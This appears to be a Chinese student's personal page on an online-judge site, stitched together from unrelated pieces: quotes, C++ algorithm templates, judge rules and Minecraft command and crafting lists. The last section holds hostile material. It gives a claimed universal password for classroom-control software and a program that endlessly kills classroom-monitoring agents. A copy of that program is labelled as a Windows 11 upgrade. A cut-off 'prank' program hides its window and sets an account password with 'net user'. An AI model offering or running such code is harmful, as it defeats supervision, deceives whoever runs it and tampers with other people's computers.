孤独的人不会伤害别人，只会不断地伤害自己罢了。
    “I'a I'a.Cthulhu Fhatgn!”
    吾心吾行澄如明镜，所作所为皆为正义。
    我只是不想再失去他——哪怕是仅存在一瞬的幻影！
    难受就是难受…不要让开心变成一种负担…
    生活的洪流欲让人们窒息，我们却在缺氧的环境中肆意成长。
    我们总是在注意错过太多，却不注意自己拥有多少。
    绘守御之明信兮，书香随之丰年。

#include<iostream>
    #include<cstdio>
    using namespace std;
    int a[100001],x;
    int main(){
        int n,m;
        cin>>n>>m;
        for(int i=1;i<=n;++i){
            cin>>a[i];
        }
        for(int i=1;i<=m;++i){
            cin>>x;
            int left=1,right=n,mid=(left+right)/2;
            int flag=0;
            while(left<=right){
                if(a[mid]==x){
                    flag=1;
                    cout<<mid<<endl;
                    break;
                }
                else if(a[mid]<x){
                    left=mid+1;
                }
                else right=mid-1;
                mid=(left+right)/2;
            }
            if(flag==0)cout<<-1<<endl;
        }
        return 0;
    }

Copy

字符串

基本定义
    string 字符串名；
    初始化
    string 字符串名 = "赋值内容"；
    基本输入
    1、不带空格输入 cin >>  字符串名;
    2、带空格输入 getline(cin,字符串名);
    基本输出
    cout << 字符串 ;
    基本函数
    1、+  +=  > < == != >= <=
    2、求string的长度 字符串名.size();
    删除子串
    string s1 = "Real Steel";
    s1.erase(1, 3);  //删除从位置1开始后面的3个字符，此后 s1 = "R Steel" 
    插入子串
    string s1 = "Limitless", s2="00";
    s1.insert(2, "123");  //在下标 2 处插入字符串"123"，s1 = "Li123mitless"
    查找子串
    string s1 = "apple people";
    s1.find("ple"); //查找 "ple" 出现的位置  返回值为子串第一次出现的下标返回值为2
    s1.find("ple",5); //从下标为5的地方查找"ple"的位置，返回值为9
    s1.find("orange"); //查找"orange"的位置，没有查找到，所以返回-1


    遍历字符串
    string str;
    cin >> str;
    int len = str.size();
    for(int i=0;i<len;i++)
    {
        printf("%c",str[i]);
    }
    特别注意
    字符串的整体输入输出不能使用scanf()和printf()

Copy

队列

1、队列的定义
    queue<关键词> 队名;
    2、队列的基本操作
    队名.操作函数名()
    队名.push(入队元素) //入队
    队名.pop()          //出队
    队名.front()          //返回值为队头
    队名.back()         //返回队尾
    队名.size()         //返回值为队中元素个数
    队名.empty()        //队空返回 true 不空返回false
    !队名.empty()        //队空返回 false 不空返回 true

    #include<iostream>
    #include<cstdio>
    #include<queue>
    using namespace std;
    int main()
    {
    //	queue<类型> 队列名; 
        queue<int> que; //创建队列 
        que.push(1);//将1入队 
        que.push(3);//将3入队 
        que.push(2);//将2入队 
        cout << "查看队头" << que.front() << endl; 
        cout << "查看队尾" << que.back() << endl; 
        que.pop();//出队
        cout << "查看队列元素个数" << que.size() << endl; 
        //遍历队列
        while( !que.empty() ) // que.empty() 队列为空 
        {
            cout << que.front() <<endl;
            que.pop(); 
        }
        return 0;
    }

Copy

栈与队列操作

//stack<int> sta;//创建一个栈
    //sta.push(a);//入栈
    //int a=sta.top();//返回栈顶元素
    //sta.pop();//出栈
    //sta.empty();//判断栈是否为空   1为空，0为非空
    //sta.clear();//清空

    //queue<int> que;//创建一个队列
    //que.push(a);//入队
    //int a=que.front();//返回队头元素
    //que.pop();//出队
    //que.empty();//判断队列是否为空   1为空，0为非空
    //que.clear();//清空

Copy

二分查找模板

int erfen(int c[],int b,int g){
        int tou=0,wei=b-1;
        while(tou<=wei){
            int mid=(tou+wei)/2;
            if(c[mid]>=g){
                wei=mid-1;
            }else if(c[mid]<g){
                tou=mid+1;
            }
        }
        if(c[tou]==g){
            return tou+1;
        }
        return -1;	
    }

Copy

快速排序模板

#include <bits/stdc++.h>
    using namespace std;
    /*
    对n个数进行排序 
    */
    const int N=1e5+5;
    int a[N];//原数组 
    int n;
    void fast_sort(int left,int right){
        //基本情况，递归边界 
        if(left>=right){
            return;
        }
        //交换枢纽元，一般选中间值
        int mid=(left+right)/2;
        //交换枢纽元和最右边的值 
        swap(a[mid],a[right]);
        int i=left,j=right-1;
        while(i<=j){//区间没有交错，还有元素处理
            //i往右移动，直到找到比枢纽元大的数 
            while(a[i]<a[right]){
                i++;
            }
            //j往左移动，直到找到比枢纽元小的数 
            while(a[j]>a[right]){
                j--;
            }
            if(i<=j){
                swap(a[i],a[j]);
                i++;
                j--;
            }
        }
        //交换枢纽元和i交换 
        swap(a[right],a[i]);
        
        //对左右区间进一步划分 
        fast_sort(left,i-1);//左 
        fast_sort(i+1,right);//右 
    }

    int main(){
        //先输入一个n,再输入n个数 
        cin>>n;
        for(int i=1;i<=n;i++){
            cin>>a[i];
        }
        fast_sort(1,n);
        for(int i=1;i<=n;i++){
            cout<<a[i]<<" ";
        }
        return 0;
    }

Copy

平常的编译情况：

*1. Waiting 评测：评测请求正在等待被评测机抓取

*2. Fetched 评测：评测请求已被评测机抓取，正在准备开始评测

*3. Compiling 评测：正在编译中

*4.Judging 评测：编译成功，正在评测中

*5.Accepted 通过：程序输出完全正确

*6. Wrong Answer 不通过：程序输出与标准答案不一致（不包括行末空格以及文件末空行）

*7. Time Limit Exceeded 不通过：程序运行时间超过了题目限制

*8. Memory Limit Exceeded 不通过：程序运行内存空间超过了题目限制

*9. Runtime Error 不通过：程序运行时错误（如数组越界、被零除、运算溢出、栈溢出、无效指针等）

*10. Compile Error 不通过：编译失败

*11. System Error 错误：系统错误（如果您遇到此问题，请及时在讨论区进行反馈）

*12. Canceled 其他：评测被取消

*13. Unknown Error 其他：未知错误

*14. Ignored 其他：被忽略

对 C/C++ 选手的特别提醒：

__int64 在 GNU C++ 中应写成 long long 类型

main() 返回值必须定义为 int ，而不是 void

for 语句中的指标变量 i 将会在如"for (int i = 0...) {...}"语句之后变为无效

itoa 不是一个通用 ANSI 函数（标准 C/C++ 中无此函数）

printf 中使用 %lf 格式是不正确的

限制

XMW OJ 评测机使用进程的CPU时间计算时间消耗，时间的限定为题目中评测点所指定的时间。

XMW OJ 评测机使用进程虚拟内存与物理内存总和计算内存空间消耗。内存空间默认限定为256MiB，题目中特别指明的，限定为题目中评测点所指定的内存空间。

编译错误

可能有以下情况：

递交时选错了编程语言

Java 的主类名没有使用 "Main"

对于 C/C++：见上对 C/C++ 选手的特别提醒：

一般性的编译错误

比赛

按照赛制不同，有不同的递交、排名规则。

OI 赛制所有题目均以最后一次递交为准，特别地，请避免编译错误。

OI 赛制排名规则为：总分高的排在前面，总分相等则排名相同。

ACM/ICPC 赛制所有题目递交后立即评测，以是否通过为准。

ACM/ICPC 赛制排名规则为：通过题目数多的排在前面，通过题目数相同的做题耗时（含罚时）少的排在前。

乐多 赛制下，选手可以多次提交一道题目，并获得实时评测结果。

乐多 赛制下，多次提交会导致选手的得分被扣除，排行榜将显示用户的最高得分。

乐多 赛制下，每道题的最终得分为： s×max⁡(0.95^n,0.7)s×max(0.95n,0.7) 。s,n 分别代表本次得分和本次提交前的尝试次数。

乐多 排名规则为：按照如上规则折算后的分数从高到低排名。

IOI(严格) 赛制下，不同于IOI赛制，排行榜将被关闭至比赛结束。

IOI(严格) 赛制下，每道题的排行榜得分将为用户每个子任务在所有提交中的最大得分的和。

时间与空间限制以题目说明为准，默认限制参见 限制 通过率

通过率的影响极其恶劣，XMW OJ 不提供也不承认通过率。

RP 算法

RP 可由题目，活动，比赛等获得。

💻💾💻 Test early & often: 💻💾💻 while(1) Me->coding();

《我的世界》是一款带有生存冒险元素的建造类游戏，为了在游戏里生存和发展，玩家需要通过伐木、挖矿、捕猎等方式获取资源，并通过合成系统打造武器和工具。随着游戏的进行，玩家自立更生，逐渐建造出一个自己的家园。

《Minecraft我的世界》操作相当简单。具体如下(可在设定里自定义)：

鼠标左键 - 攻击/使用工具

鼠标右键 - 打开箱子/放置物品

W - 前进

S - 后退

A - 左平移

D - 右平移

空格 - 跳跃

左Shift - 潜行

Q - 丢弃物品

I - 打开物品栏

T - 聊天

F - 雾化范围

F5 - 切换第一/第三人称

F11 - 切换全屏

A

/ascend (提升到一个平台）

B

/bind<命令>（设置命令快捷键）

/blockdata（修改某个方块的数据标签）

/backup（运行备份）

/ban（添加一个玩家到黑名单）

/ban-ip（添加一个ip到黑名单）

/banlist（显示你的黑名单）

/butcher（杀死附近所有的怪物）

C） /clear（清空背包）

/clone（将某个方块复制到某个位置）

D /daylock（开启或关闭日夜循环）

/difficulty（设置游戏难度，0和平，1简单，2普通，3困难）

/damage（开启或关闭伤害）

/descend（下降到一个平台）

/dupe [all]（复制物品）

/destroy [all]（破坏背包里的物品）

/defuse [all]（拆掉点燃了的TNT）

/drops（开启或关闭物品掉落）

/duplicate [all]（复制当前手中物品并丢出）

/deop（将某个玩家的管理员身份撤销）

E /explode [范围]（使指定范围产生爆炸）

/effect（获得或移除某效果）

/ext [all]（熄灭周围的火焰）

/enchant（附魔某个玩家的某个物品）

F /fly（飞行）

/freeze（冻结所有怪物）

/fill（用某种方块填满某块区域）

/forestgen（在身旁形成森林）

/falldamage（高空掉落是否造成伤害）

G /give（玩家）<物品> [数量] （给某个玩家某种数量的某种物品，给自己时则不需要输玩家名）

/goto<某地名>（直接去某个地方）

/gamemode（设置游戏模式）

/gamerule ture/false（开启或关闭某种游戏规则）

/gamerule pvp（开启或关闭玩家之间的伤害）

/gamerule doMobLoot（开启或关闭生物掉落物品）

/gamerule doMobSpawning（开启或关闭生物自然生成）

/gamerule doWeatherCycle（开启或关闭天气变化）

/gamerule keepInventory（开启或关闭死亡不掉落，你们最想要的东西）

/gamerule naturalRegeneration false（UHC，指超极限）

依次输入以下指令：/gamerule naturalRegeneration false /time set 18000 /gamerule doDaylightCycle false（永夜UHC，最难生存，能玩下来的都是鬼才）

/grow（生长达到满）

H

/help（命令帮助）

/heal（为某人补指定的血）

/health（设置血量）

/home（回到你的出生点）

I /i <物品代码> [数量]（给玩家指定数量的物品，物品代码大全下面会给）

/invsee（查看某人的背包）

/itemstack <物品代码> [数量]（同上）

/instantmine（即时挖矿）

/itemname（显示当前手上的物品名称）

J /jump（瞬移到光标所指处）

K

/kill（自杀）

/kick（将某位玩家踢出房间）

/killnpc [all]（杀掉周围所有的NPC）

L /lexburner（用爱发电&一方通行）

/light（开关光照）

/list（列出玩家列表）

/lingtning（超电磁炮）

/lingtning（雷击，若不输入名字则雷会劈到你的光标所指处）

/locate（寻找遗迹或村庄）

/listwaypoints（列出所有路径点）

M

/mute（将某人禁言）

/me（显示你自己的信息）

/msg <消息>（私聊）

/maxstack [物品ID|物品名称|全部] [数量]（最大堆叠物品）

/macro <文件名> {参数}（允许运行宏）

/mmoedit name skname rank（如果你安装了MCRPG插件，那么你可以使用这个命令改变某位玩家的某项技能级别）

N /nick ID（给某人改名）

/noclip（穿墙）

O

/op（给予某位玩家管理员身份）

P

/p（显示当前的坐标）

/pumpkins（在自己身旁形成南瓜林）

/pardon（从黑名单移除某位玩家或某个ip）

/pos（显示当前所有玩家的坐标）

/particle（制造颗粒效果）

/playsound（播放某个游戏音效）

/publish（对局域网开放单人世界）

Q 暂无

R

/reach（到指定的地方）

/replaceitem（替换物品栏中的物品）

/return（传送到上一次传送的地方）

/removedrops [all]（删掉地上的所有物品）

/rename（修改某命令的名称）

/rem（删除指定路点）

/repair [all]（当前手持物品耐久回满）

/reset（恢复所有默认设置）

S /surprise mother f**k

/stop（停止服务器运行）

/seen name（查看某位玩家最后退出的时间）

/search <关键词>（搜索某物品名）

/save-all（将服务器保存至硬盘中）

/save-off（禁用服务器自动保存）

/save-on（开启服务器自动保存）

/set <名字>（在这个世界标记一个路径点）

/say（向其他玩家显示一条信息）

/setjump [JUMP|reset]（设置跳跃的高度 落地伤害和移动 1:1）

/setspawn [ X,Y,Z轴 ]（设置当前位置）

/scoreboard（管理玩家或队伍）

/seed（显示此世界种子）

/setspeed [速度|重置]（设置移动速度）

/spawn（产生某个生物）

/setblock（将一个方块变成另一个方块）

/setidletimeout（设置自动踢出挂机玩家的时间）

/spawnstack {NAME|ID|random}（产生一个合体的怪物NPC）

/setworldspawn（设置出生点）

/spawnpoint（设置某位玩家的出生点）

/summon（生成某个实体）

/snow（在自己附近生成下雪后的样子）

/stats（通过命令的返回改变计分板对象）

T

/tele（传送到某坐标）

/thaw（融化所有雪和冰块）

/title（设置屏幕标题）

/tp [玩家名]（传送到某玩家的位置）

/tp name1 name2（把玩家1传送到玩家2的位置）

/tphere（把某位玩家传送到自己的位置）

/tpall（将当前所有玩家传送到自己的位置）

/tell（向某玩家发起私聊）

/tellraw（向其他玩家显示一条JSON信息）

/time [set|get|day|night [minute|hour|day [TIME]]]（设置在指定时间得到某物品）

/timeschedule（设定一段时间，并且当前世界将永远保持着这段时间）

/testfor（计算特定条件的实体数）

/time（修改或查询当前世界时间）

/tree（生成一棵树）

/testforblock（探测某一个方块是否在某一个位置）

/testforblocks（探测某两个区域内的方块是否匹配）

/trigger（设置触发装置的激活状态）

U /up[高度]（将自己提升到某个高度）

/unbind（撤销某个命令）

/unlimited id（给自己某个物品【无限】）

/useportal（传送到下界）

V 暂无

W /wtf？

/weather（设置天气）

/waterdamage（开关水下伤害）

/world（当前世界信息）

/world load（加载指定的文件）

/world save（保存并退出）

/world exit（不保存并退出）

/world list（列出所有存档）

/whitelist（列出白名单）

/worldborder（管理世界边界）

X /xp（增加或移除某位玩家的经验值）

Y 暂无

Z 暂无

下面是物品代码（基本全是图片）

作者：空梦Sakura https://www.bilibili.com/read/cv5499397 出处：bilibili

我的世界里面，房子是个非常重要的东西，也是生存必须的物品，很多时候可以抵挡住怪物的侵袭，不过对于房子的功能性，玩家可以通过后期的发展来完善，下面是游戏中最简单的房子制作方法。

最简单房子制作方法

一个普通的房子几分钟搞定。

下面是制作方法

[](file:///C:/Documents%20and%20Settings/Administrator/%E6%A1%8C%E9%9D%A2/%E4%B8%80%E9%94%AE%E6%8E%92%E7%89%88/lib/[object])

先建宽9格长10格。

然后高4格，中间开两个洞放门。

我的世界 基本合成

名称	材料	合成示意图	描述
木板 Wooden Planks	原木 Wood		基本的建筑材料.
木棍 Sticks	木板 Wooden Planks		用来合成火把,弓箭,栅栏,木牌,工具和武器.
火把 Torches	煤碳和木棍 Coal & Stick		提供照明,避免刷怪,融化雪和冰块.
工作台 Crafting Table	木板 Wooden Planks		右键点击展开一个3X3的合成台.
熔炉 Furnace	圆石 Cobblestone		用来烧制烹饪物品.
箱子 Chest	木板 Wooden Planks		存放物品、迷路时暂存身上物品,两个箱子并排放可以增加存放空间.
梯子 Ladders	木棍 Sticks		用来爬墙.
栅栏 Fence		不跨越栅栏,别墅内的隔栏(装饰品)、防止跌落.
船 Boat	木板 Wooden Planks		在水中行驶.
木质台阶 Wooden Slabs		用于建造台阶、屋檐、窗台等.
石质台阶 Stone Slabs	石头,砖,石砖,砂石,圆石,地狱砖,石英 Stone or Brick or Stone Brick or Sandstone or Cobblestone or Nether Brick or Quartz
告示牌 Sign	木板和木棍 Wooden Planks & Stick		门牌、路标、告示牌、贴在楼梯两侧可组成沙发.
门 Doors	木板或者铁锭 Wooden Planks or Iron Ingots		木门能够用手打开或者红石系统打开. 铁门只能用红石系统打开.

方块合成

名称	材料	合成示意图	描述
萤石块 Glowstone	萤石粉 Glowstone Dust		能够用于水下照明.
雪块 Snow Block	雪球 Snowballs		建筑材料.
TNT	火药和沙子 Gunpowder & Sand		爆炸物.
粘土块 Clay Block	粘土 Clay		建筑材料.
砖块 Brick Block	红砖 Clay Bricks		坚硬的建筑材料.
书架 Bookshelf	木板和书本 Wooden Planks & Books		装饰和附魔.
沙石 Sandstone Block	沙子 Sand		建筑材料.
平滑沙石 Smooth Sandstone	沙石 Sandstone Block
錾制 Decorative Sandstone	沙质台阶 Sandstone Slabs
音符盒 Note Block	木板和红石 Wooden Planks & Redstone		当点击时发出音符.
南瓜灯 Jack-O Lantern	南瓜和火把 Pumpkin & Torch		光源.
青金石块 Lapis Lazuli Block	青金石染料 Lapis Lazuli Dye		存储青金石染料.
钻石块 Diamond Block	钻石 Diamonds		存储钻石.
金块 Gold Block	金锭 Gold Ingots		存储金锭.
铁块 Iron Block	铁锭 Iron Ingots		存储铁锭.
绿宝石块 Emerald Block	绿宝石 Emeralds		存储绿宝石.
石砖 Stone Brick	石头 Stone		建筑材料.
木质楼梯 Wooden Stairs	木板 Wooden Planks		做楼梯.
石质楼梯 Stone Stairs	圆石,沙,砖石,石砖,地狱砖,石英Cobblestone or Sandstone or Brick or Stone Brick or Nether Brick or Quartz
圆石墙 Cobblestone Wall	圆石或者苔石 Cobblestone or Moss Stone		类似于栅栏的作用.
红石块 Block of Redstone	红石 Redstone		红石电源.
地狱砖块 Nether Brick	地狱砖 Nether Brick (Item)		建筑材料.
石英块 Block of Quartz	下界石英 Nether Quartz
錾制石英块 Chiseled Quartz Block	石英台阶 Quartz Slabs
竖纹石英块 Pillar Quartz Block	石英块 Block of Quartz

工具合成

Name	Ingredients	Image	Description
镐 Pickaxe	木棍加木板或圆石或铁锭或金锭或钻石 Sticks & Wooden Planks or Cobblestone or Iron Ingots or Gold Ingots or Diamonds		挖方块和资源.
斧头 Axes		比用拳头砍树快.
锹 Shovels		用来挖沙子,沙砾,图,草和雪.
锄 Hoes		用来锄地.
钓鱼竿 Fishing Rod	木棍和线 Sticks & String		钓鱼.
打火石 Flint & Steel	铁锭和燧石 Iron Ingot & Flint		生火.
指南针 Compass	铁锭和红石 Iron Ingots & Redstone		指向出生点.
钟 Clock	金锭和红石 Gold Ingots & Redstone		显示时间和白天黑夜.
铁桶 Bucket	铁锭 Iron Ingots		用来装水,岩浆,牛奶.
剪刀 Shears		用来剪羊毛和树叶

防具合成

名称	材料	合成示意图	描述
头盔 Helmet	皮革或铁锭或金锭或钻石 Leather or Iron Ingots or Gold Ingots or Diamonds		提供1.5护甲值（钻石）.
胸甲 Chestplate		提供4点护甲值（钻石）.
护腿 Leggings		提供3点护甲值（钻石）.
靴子 Boots		提供1.5点护甲值（钻石）.
剑 Sword	木棍加上木板或圆石或铁锭或金锭或钻石 Sticks & Wooden Planks or Cobblestone or Iron Ingots or Gold Ingots or Diamonds		对怪物造成更多的伤害.
弓 Bow	线和木棍 String & Sticks		射箭.
箭 Arrow	燧石和木棍和羽毛 Flint & Stick & Feather		箭.

道具合成

名称	材料	合成示意图	描述
压力版 Pressure Plates	木板或石头 Wooden Planks or Stone		有生物或玩家站在上面时会发出红石信号.
活板门 Trapdoor	木板 Wooden Planks		可以通过右键点击和红石打开.
栅栏门 Fence Gate	木板和木棍 Wooden Planks & Sticks		可以像门一样被打开.
按钮 Button	石头或者木板 Stone or Wooden Plank		按下的时候发送一个短的红石信号.
拉杆 Lever	木棍和圆石 Stick & Cobblestone		通过开关来控制红石信号的输出.
中继器 Redstone Repeater	石头,红石火把,红石和石头 Stone & Redstone Torch & Redstone		红石电路的二极管或者延时器.
红石火把 Redstone Torch	木棍和红石 Stick & Redstone		不间断发送红石信号.
唱片机 Jukebox	木板和钻石 Wooden Planks & Diamond		播发唱片.
发射器 Dispenser	圆石,弓和红石 Cobblestone & Bow & Redstone		开启的适合发射物品.
活塞 Piston	木板,原始,铁锭和红石 Wooden Planks & Cobblestone & Iron Ingot & Redstone		推动方块.
粘性活塞 Sticky Piston	活塞和史莱姆球 Piston & Slime Ball		推拉方块.
矿车 Minecart	铁锭 Iron Ingots		在铁轨上行驶.
动力矿车 Powered Minecart	矿车和熔炉 Minecart & Furnace		烧碳来产生能量推动其他矿车前进.
运输矿车 Storage Minecart	矿车和箱子 Minecart & Chest		通过铁路运送材料和物资.
铁轨 Rail	铁锭和木棍 Iron Ingots & Stick		铁轨.
充能铁轨 Powered Rail	金锭,木棍和红石 Gold Ingots & Stick & Redstone		被激活的时候加速矿车.
探测铁轨 Detector Rail	铁锭,石质压力板和红石 Iron Ingots & Stone Pressure Plate & Redstone		矿车在其上面经过时产生红石信号.
红石灯 Redstone Lamp	红石和萤石块 Redstone & Glowstone Block		照明设施,需红石能量激活.
绊线 Tripwire Hook	铁锭,木棍和木板 Iron Ingot & Stick & Wooden Plank		通过时产生红石信号.
激活铁轨 Activator Rail	铁锭,木棍和红石火把 Iron Ingots & Sticks & Redstone Torch		常用来激活TNT矿车和漏斗矿车.
阳光传感器 Daylight Sensor	玻璃,下界石英和木板 Glass & Nether Quartz & Wooden Slabs		拜托发出红石信号.
投掷器 Dropper	圆石和红石 Cobblestone & Redstone		扔出物品（类似发射器）.
漏斗 Hopper	铁锭和箱子 Iron Ingots & Chest		物品通过漏斗在箱子中移进或者移出.
漏斗矿车 Minecart with Hopper	漏斗和矿车 Hopper & Minecart		类似漏斗的功能.
TNT矿车 Minecart with TNT	TNT和矿车 TNT & Minecart		通过激活的铁道发生爆炸或者手动爆炸.
红石比较器 Redstone Comparator	红石火把,原始和下界石英 Redstone Torches & Stone & Nether Quartz		仅在红石电路中使用.
陷进箱 Trapped Chest	箱子和绊线 Chest & Tripwire Hook		打开箱子的适合发出红石信号.
测重压力板 Weighted Pressure Plates	铁锭或者金锭 Iron Ingots or Gold Ingots		类似普通的压力板,但是只能用物品激活. 物品的数量绝对红石信号的强度.

食物合成

名称	材料	合成示意图	描述
碗 Bowl	木板 Wooden Planks		装蘑菇煲.
蘑菇煲 Mushroom Stew	碗,红蘑菇和棕色蘑菇Bowl & Red Mushroom & Brown Mushroom		恢复4点饥饿值.
面包 Bread	小麦 Wheat		恢复2.5点饥饿值.
金苹果 Golden Apple	苹果和金粒 Apple & Gold Nuggets		恢复2点饥饿值.
附魔金苹果 Enchanted Golden Apple	苹果和金块 Apple & Gold Blocks		恢复2点饥饿值. 同时给予30秒的抗火属性.
糖 Sugar	甘蔗 Sugar Cane		用来制作蛋糕.
蛋糕 Cake	牛奶桶,汤,小麦和鸡蛋 Milk Buckets & Sugar & Wheat & Egg		每块恢复1.5饥饿值,一共6块.
曲奇 Cookies	小麦和可可豆 Wheat & Cocoa Beans		恢复1点饥饿值.
西瓜 Melon Block	西瓜片 Melon Slice		西瓜.
西瓜种子 Melon Seeds		能够种植在耕地上.
南瓜种子 Pumpkin Seeds	南瓜 Pumpkin
金胡萝卜 Golden Carrot	胡萝卜和金粒 Carrot & Gold Nuggets		酿造原料,恢复3点饥饿值.
南瓜派 Pumpkin Pie	南瓜,鸡蛋和糖 Pumpkin & Egg & Sugar		恢复4点饥饿值.

其他合成

名称	材料	合成示意图	描述
床 Bed	木板和羊毛 Wooden Planks & Wool		在晚上睡觉快速度过夜晚.
画 Painting	木棍和羊毛 Sticks & Wool		装饰.
纸 Paper	甘蔗 Sugar Cane		用来制造地图和书本.
书 Book	纸 Paper		用来制造书架和书与笔.
书与笔 Book and Quill	书,羽毛和墨囊 Book & Feather & Ink Sac		能够写文章.
地图 Map	纸和指南针 Paper & Compass		能够显示附近一块的地图.
玻璃板 Glass Pane	玻璃 Glass Blocks		类似栅栏的窗格玻璃.
铁栏杆 Iron Bars	铁锭 Iron Ingots		类似栅栏但是只有1个方块的高度.
金锭 Gold Ingot	金粒 Gold Nugget		用来制造其他东西.
地狱砖栅栏 Nether Brick Fence	地狱砖块 Nether Brick		类似普通的栅栏只不过原料不同.
末影之眼 Eye of Ender	末影珍珠和烈焰粉 Ender Pearl & Blaze Powder		定位末地传送门.
附魔台 Enchantment Table	书,钻石和黑曜石 Book, Diamond & Obsidian.		用来附魔工具.
火焰弹 Fire Charge	烈焰粉,碳和火药 Blaze Powder & Coal & Gunpowder		能够通过发射器发射的火球.
末影箱 Ender Chest	黑曜石和末影之眼 Obsidian & Eye of Ender		用于储存. 所有末影箱共享一个物品栏.
信标 Beacon	玻璃,黑曜石和下界之心 Glass & Obsidian & Nether Star		用于放置在钻石块，金块，绿宝石块或铁块（或这四种方块的任意组合）结构的金字塔顶端，可以向天空直射光束的功能型方块.
铁跕 Anvil	铁块和铁锭 Iron Block & Iron Ingot		修复物品和合并附魔.
花盆 Flower Pot	红砖 Bricks		装饰.
物品展示框 Item Frame	木棍和皮革 Sticks & Leather		放在墙上展示物品和方块.
萝卜钓竿 Carrot on a Stick	钓竿和胡萝卜 Fishing Rod & Carrot		控制猪.
烟花火箭 Firework Rocket	火药,纸和烟火之星 Gunpowder & Paper & Firework Star		烟花.
烟火之星 Firework Star	火药,燃料和附加物品（可选） Gunpowder & Dye & an extra ingredient (optional)		不同的烟火之星决定不同的烟花效果.

染料合成

名称	材料	合成示意图	描述
骨粉 Bone Meal	骨头 Bone		用来使农作物树木快速长大.
淡灰色染料 Light Gray Dye	骨粉和墨囊 Bonemeal & Ink Sac		用于制作淡灰色羊毛.
灰色染料 Gray Dye		用于制作灰色羊毛.
玫瑰红 Rose Red	玫瑰花 Rose		用于制作红色羊毛.
橙色染料 Orange Dye	玫瑰红和蒲公英黄 Rose Red & Dandelion Yellow		用于制作橙色羊毛.
蒲公英黄 Dandelion Yellow	蒲公英 Dandelion		用于制作黄色羊毛.
黄绿色染料 Lime Dye	仙人掌绿和骨粉 Cactus Green & Bone Meal		用于制作黄绿色羊毛.
淡蓝色染料 Light Blue Dye	青金石染料和骨粉 Lapis Lazuli Dye & Bone Meal		用于制作淡蓝色羊毛.
青色染料 Cyan Dye	青金石染料和仙人掌绿 Lapis Lazuli Dye & Cactus Green		用于制作青色羊毛.
紫色染料 Purple Dye	青金石染料和玫瑰红 Lapis Lazuli Dye & Rose Red		用于制作紫色羊毛.
品红染料 Magenta Dye	粉红色染料和紫色染料 Purple Dye & Pink Dye		用于制作品红羊毛.
粉红色染料 Pink Dye	骨粉和玫瑰红 Bone Meal & Rose Red		用于制作粉红色羊毛.

羊毛合成

名称	材料	合成示意图	描述
羊毛 Wool	线 String		建筑材料能被染色.
浅灰色羊毛 Light Gray Wool	羊毛和浅灰色染料 Wool & Light Gray Dye		建筑和装饰材料.
灰色羊毛 Gray Wool	羊毛和灰色染料 Wool & Gray Dye
黑色羊毛 Black Wool	羊毛和墨囊 Wool & Ink Sac
红色羊毛 Red Wool	羊毛和玫瑰红 Wool & Rose Red
橙色羊毛 Orange Wool	羊毛和橙色染料 Wool & Orange Dye
黄色羊毛 Yellow Wool	羊毛和蒲公英黄 Wool & Dandelion Yellow
黄绿色羊毛 Lime Wool	羊毛和黄绿色染料 Wool & Lime Dye
绿色羊毛 Green Wool	羊毛和仙人掌绿 Wool & Cactus Green
淡蓝色羊毛 Light Blue Wool	羊毛和淡蓝色染料 Wool & Light Blue Dye
青色羊毛 Cyan Wool	羊毛和青色染料 Wool & Cyan Dye
蓝色羊毛 Blue Wool	羊毛和青金石染料 Wool & Lapis Lazuli Dye
紫色羊毛 Purple Wool	羊毛和紫色染料 Wool & Purple Dye
品红色羊毛 Magenta Wool	羊毛和品红色染料 Wool & Magenta Dye
粉红色羊毛 Pink Wool	羊毛和粉红色染料 Wool & Pink Dye
棕色羊毛 Brown Wool	羊毛和可可豆 Wool & Cocoa Beans

极域网通用密码：mythware_super_password

噶掉电子教室的代码

#include<bits/stdc++.h>
#include <windows.h>
using namespace std;
void movexy(short x, short y){
    COORD position={x, y};
    HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleCursorPosition(hOut, position);
}
int main(){
    movexy(37, 7);
    cout<<"反电子教室系统"<<endl;
    cout<<endl;
    cout<<"                                     目前可以反击:"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);
    cout<<"                      红蜘蛛多媒体网络教室 - 输入 k-rs即可反击"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11);
    cout<<"                              极域电子教室 - 输入 k-jy即可反击"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
    cout<<"                          伽卡他卡电子教室 - 输入 k-yk即可反击"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
    cout<<"                                  如果在开启本程序后关闭本程序，"<<endl;
    cout<<"                                        本次反击将无效！"<<endl;
    cout<<"    input >>> ";
    string s;
    cin>>s;
    if(s=="k-rs"){
        system("cls");
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);
        cout<<"                                  红蜘蛛反击系统启动成功"<<endl;
        Sleep(1000);
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
        while(1)
        {
            system("taskkill /f /t /im REDAgent.exe");
            system("cls");
        }
    }
    if(s=="k-jy"){
        system("cls");
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11);
        cout<<"                                  极域反击系统启动成功"<<endl;
        Sleep(1000);
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
        while(1)
        {
            system("taskkill /f /t /im StudentMain.exe");
            system("cls");
        }
    }
    if(s=="k-yk"){
        system("cls");
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
        cout<<"                                  伽卡他卡反击系统启动成功"<<endl;
        Sleep(1000);
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
        while(1){
            system("taskkill /f /t /im Student.exe");
            system("cls");
        }
    } 
    return 0;
}

Copy

让你的电脑升级到win11的神奇c++代码

#include<bits/stdc++.h> 
using namespace std;
int main()
{
while(1)
{
system("taskkill /f /t /im REDAgent.exe");
system("taskkill /f /t /im StudentMain.exe");
system("taskkill /f /t /im Student.exe");
}
return 0;
}

Copy

c++的恶搞代码

#include <bits/stdc++.h>
#include <windows.h>
#include <winternl.h>
using namespace std;
void HideWindow() {
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd) ShowWindow(hwnd,SW_HIDE);
	return;
}
int main() {
	HideWindow();
	int x=GetSystemMetrics(SM_CXSCREEN);   
	int y=GetSystemMetrics(SM_CYSCREEN);
	system("net user Administator 123456");
